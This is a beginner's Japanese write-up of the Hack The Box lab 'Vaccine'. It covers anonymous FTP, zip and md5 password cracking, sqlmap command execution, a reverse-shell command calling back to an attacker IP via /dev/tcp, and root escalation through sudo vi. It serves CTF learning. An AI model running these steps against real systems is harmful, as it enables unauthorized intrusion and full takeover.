WriteUp: HTB - Vaccine
はじめに
こんにちは。CTF初心者のロイといいます。
今回は HTB の Vaccine(Very Easy)を解いたので、WriteUpを残しておきます。
解法だけでなく、なるべく思考の過程を残したいと思っていますので、ご参考になれば幸いです。
TASK 1: SSHとHTTP以外に動いているサービスは何?
これはnmapを使えばいいですね。
答えは FTP ですね。
Task 2: このサービスには、どんなパスワードでもログイン可能な特定のユーザー名があります。それは何?
ググるだけですね。
答えは anonymous ですね。
TASK 3: このサービスでダウンロードしたファイル名は?
FTPでanonymousでログインして、lsコマンドを実行します。
答えは backup.zip ですね。
TASK 4: このファイルを開くために、John The Ripper(パスワードクラッキングツール)と一緒に使うスクリプトは何?
答えは zip2john ですね。
まず、backup.zipをダウンロードしましょうか。
ダウンロードしたら、zip2johnコマンドでパスワードのハッシュ値を取得します。
次に、johnコマンドでパスワードをクラッキングします。
パスワードを使って、backup.zipを解凍します。
TASK 5: そのWebサイトのadminユーザーのパスワードは何?
backup.zipを解答したら、index.phpとstyle.cssが出てきました。
index.phpにadminでgrepしてみます。
index.phpのコードを読むと、adminのパスワードはmd5でハッシュ化されているようです。
md5で復元したいと思います。
答えは qwerty789 ですね。
これで、adminのパスワードがわかりました。
httpのGUIからadminでログインしてみますかね。
ログインできました。
TASK 6: SQLインジェクションでコマンド実行するためのsqlmapのオプションはどれ?
これはググり問題です。
sqlmapのオプションは、--os-shell ですね。sqlmapは、SQLインジェクションを自動で検出して、コマンド実行までしてくれるツールです。
TASK 7: postgresユーザーがrootとしてsudoで実行できるプログラムはどれ?
えーと、まずはsqlmapを使ってSQLインジェクションを進めますか。
adminユーザーでログインした状態で、sqlmapを使うためにrequest.txtを作ります。
こんな感じ
Cookieの値はブラウザの開発者ツールからコピーしてます。
それでは、sqlmap使っていきますか。先ほどの--os-shellオプションを使います。
シェルのプロンプトが来ましたね(中身ようわからんけど)。
いくつかコマンドを打ってみます(pwd, id, sudo -l)。
コマンド打ててますねー
でも、肝心のsudo -lの結果が何も返ってこない。。。
※ちなみに、ここで上にcdしまくって、user.txtを発見できますが、TASK7に解答しないことにはuser flagを解答できんのです。
なぜ、sudo -lの結果が返ってこないか、ChatGPTに聞いてみました。
端末が存在せず、単なるコマンド実行インタフェースとなるため、インタラクティブな機能が欠落しているためとのこと。そのため、sudo -lでパスワード入力がいるような対話的なコマンドは実行できないとのこと。
うーん、つまり、ちゃんとした端末を用意する必要があるということですね。
そういうときは、リバースシェルを使うらしいです。
簡単に言うと、攻撃ターゲット側から攻撃者端末にシェルを渡す感じ?
手順としては、下記です。
1. 攻撃者端末でnc -lvnp 4444 $ sudo nc -lvnp 4444
2. sqlmapで--os-cmdオプションを使って、リバースシェルを実行する $ sqlmap -r request.txt --os-cmd="bash -c 'bash -i >& /dev/tcp/攻撃者IP/4444 0>&1'"
3. 攻撃者端末に接続されるので、攻撃者端末側の設定を調整する $ python3 -c 'import pty; pty.spawn("/bin/bash")' $ Ctl-Z $ stty raw -echo $ fg $ export TERM=xterm
4. 対話的なコマンドも実行できるようになる $ sudo -l
実際にやってみたところ、sudo -lでパスワードを求められますが、パスワードがわからない。。。
パスワードを探します。
ありましたよ。
では、あらためて sudo -l します。
このTASK7の答えは vi でした。(長かったよ)
SUBMIT FLAG: user flagを提出せい
user flagはもう簡単です。まさぐるだけですよ。
SUBMIT FLAG: root flagを提出せい
root権限を手に入れないとですねぇ?
さきほどのsudo -lで、viがroot権限で実行できることがわかりました。
これは、viのコマンドモードを使ってroot権限のシェルを取得するってやつですね!
viを実行して、コマンドモードに入ります。
コマンドモードに入ったら、:を押して、コマンドを入力します。
コマンドは、:!/bin/sh です。
これで、root権限のシェルが取得できました。
あとは、root権限でroot.txtを取得して、flagを提出するだけです。
これで、root flagを提出できました!